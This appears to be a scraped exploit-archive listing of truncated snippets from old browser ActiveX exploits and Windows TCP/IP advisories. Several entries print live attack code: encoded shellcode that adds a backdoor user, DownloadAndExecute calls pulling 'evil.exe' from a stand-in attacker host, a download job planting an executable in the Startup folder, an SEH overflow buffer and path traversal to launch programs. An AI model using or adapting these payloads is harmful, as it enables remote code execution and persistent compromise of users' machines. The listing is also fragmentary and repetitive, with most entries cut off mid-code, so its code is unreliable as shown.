rtssentry-overflow.txt

//add su one, user: sun pass: tzu shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...

flexnet-execute.txt

Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit function Check obj.DownloadAndExecute"Bla","11111111-1111-1111-1111-111111111111",0,"http://www.evilsite.com/evil.exe","evil.exe"; Unable to create object...

RTS Sentry Digital Surveillance (CamPanel.dll 2.1.0.2) BOF Exploit

No description provided by source. !-- RTS Sentry Digital Surveillance PTZCamPanel Class CamPanel.dll 2.1.0.2 remote buffer overflow exploit ie7/xp sp2 check this camera demo: http://www.rtssentry.com/index.asp?PageAction=Custom&ID=10 rgod - stay tuned with us...

Macrovision FlexNet - isusweb.dll DownloadAndExecute Method

Macrovision FlexNet - isusweb.dll DownloadAndExecute Method Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit function Check obj.DownloadAndExecute"Bla","11111111-1111-1111-1111-111111111111",0,"http://www.evilsite.com/evil.exe","evil.exe"; Unable to create object milw0rm.com...

Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit

Exploit for unknown platform in category remote exploits ================================================================= Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit ================================================================= Macrovision FlexNet isusweb.dll...

NUVICO DVR NVDV4 / PdvrAtl Module (PdvrAtl.DLL 1.0.1.25) BoF Exploit

No description provided by source. !-- NUVICO DVR NVDV4 / PdvrAtl Module PdvrAtl.DLL 1.0.1.25 remote heap overflow exploit IE7/XP SP2 check a camera demo here: http://www.2mcctv.com/2mdemo.php codebase: http://www.dvrstation.com/pdvratl.php?vendor=0 rgod ///////////////////////////////...

Macrovision FlexNet DownloadManager - Insecure Methods

Macrovision FlexNet DownloadManager Insecure Methods Exploit function Check var mJob = obj.CreateJob"SomeJob",0,"11111111-1111-1111-1111-111111111111"; mJob.AddFile"http://www.evilsite/evil.exe","C:\Documents and Settings\All Users\Start Menu\Programs\Startup\harmless.exe"; mJob.SetPriority0;...

Macrovision FlexNet DownloadManager Insecure Methods Exploit

Exploit for unknown platform in category remote exploits ============================================================ Macrovision FlexNet DownloadManager Insecure Methods Exploit ============================================================ Macrovision FlexNet DownloadManager Insecure Methods...

Macrovision FlexNet DownloadManager - Insecure Methods

Macrovision FlexNet DownloadManager - Insecure Methods Macrovision FlexNet DownloadManager Insecure Methods Exploit function Check var mJob = obj.CreateJob"SomeJob",0,"11111111-1111-1111-1111-111111111111"; mJob.AddFile"http://www.evilsite/evil.exe","C:\Documents and Settings\All Users\Start...

nuvico-heap.txt

//add su one, user: sun pass: tzu shellcode =...

NUVICO DVR NVDV4 / PdvrAtl Module (PdvrAtl.DLL 1.0.1.25) BoF Exploit

Exploit for unknown platform in category remote exploits ==================================================================== NUVICO DVR NVDV4 / PdvrAtl Module PdvrAtl.DLL 1.0.1.25 BoF Exploit ==================================================================== //add su one, user: sun pass: tzu...

NUVICO DVR NVDV4 / PdvrAtl Module 'PdvrAtl.DLL 1.0.1.25' - Remote Buffer Overflow

//add su one, user: sun pass: tzu shellcode =...

StreamAudio ChainCast ProxyManager - 'ccpm_0237.dll' Remote Buffer Overflow

StreamAudio ChainCast ProxyManager ccpm0237.dll SEH Overwrite Exploit function Check var buf = 'A'; while buf.length = 242 buf = buf + 'A'; // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 =...

Microsoft Windows TCP/IP实现ICMP请求远程拒绝服务漏洞（MS08-001）

BUGTRAQ ID: 27139 CVECAN ID: CVE-2007-0066 Microsoft Windows是微软发布的非常流行的操作系统。 Windows内核的TCP/IP实现（tcpip.sys）中处理碎片路由器广播ICMP查询的方式实现上存在漏洞，远程攻击者可能利用此漏洞导致系统崩溃。 匿名攻击者可以通过在网络上向计算机特制的ICMP报文利用此漏洞，导致计算机停止响应和自动重新启动。但利用此漏洞所必须的ICMP路由发现协议（RDP）不是默认启用的。 Microsoft Windows XP SP2 Microsoft Windows Server 2003 SP2...

msrtc-insecure.txt

----------------------------------------------------------------------------- Microsoft Rich Textbox Control 6.0 SP6 "SaveFile" Insecure Method url: http://www.microsoft.com Author: shinnai mail: shinnaiatautisticidotorg site: http://shinnai.altervista.org This was written for educational purpose...

Microsoft Windows TCP/IP实现IGMP及MLD报文远程溢出漏洞（MS08-001）

BUGTRAQ ID: 27100 CVECAN ID: CVE-2007-0069 Microsoft Windows是微软发布的非常流行的操作系统。 Windows内核的TCP/IP实现（tcpip.sys）处理存储IGMPv3和MLDv2查询状态的TCP/IP结构的方式存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制服务器。 匿名攻击者可以通过在网络上向计算机发送特制的IGMPv3和MLDv2报文来利用此漏洞。成功利用此漏洞的攻击者可以完全控制受影响的系统。攻击者可随后安装程序；查看、更改或删除数据；或者创建拥有完全用户权限的新帐户。 Microsoft Windows XP SP...

Microsoft Rich Textbox Control 6.0-SP6 - SaveFile() Insecure Method

Microsoft Rich Textbox Control 6.0-SP6 - SaveFile Insecure Method ----------------------------------------------------------------------------- Microsoft Rich Textbox Control 6.0 SP6 "SaveFile" Insecure Method url: http://www.microsoft.com Author: shinnai mail: shinnaiatautisticidotorg site:...

Microsoft FoxServer - vfp6r.dll 6.0.8862.0 ActiveX Command Execution

Microsoft FoxServer - vfp6r.dll 6.0.8862.0 ActiveX Command Execution ----------------------------------------------------------------------------- Microsoft FoxServer vfp6r.dll 6.0.8862.0 Remote Command Execution url: http://www.microsoft.com Author: shinnai mail: shinnaiatautisticidotorg site:...

Move Networks Quantum Streaming Player SEH Overwrite Exploit

No description provided by source. !-- Move Networks Quantum Streaming Player SEH Overwrite Exploit Vulnerability discovered by Parvez Anwar, CVE-2007-4722 Exploit written by e.b. Shellcode is limited to around 400 bytes Tested on Windows XP SP2fully patched English, IE6 Thanks to h.d.m. and the...

Gateway Weblaunch - ActiveX Control Insecure Method

Gateway Weblaunch - ActiveX Control Insecure Method Gateway Weblaunch ActiveX Control Insecure Method Exploit function Check //escape from systemdrive\documents and settings\username\local settings\temp obj.DoWebLaunch"","..\..\..\..\windows\system32\calc.exe","",""; Unable to create object...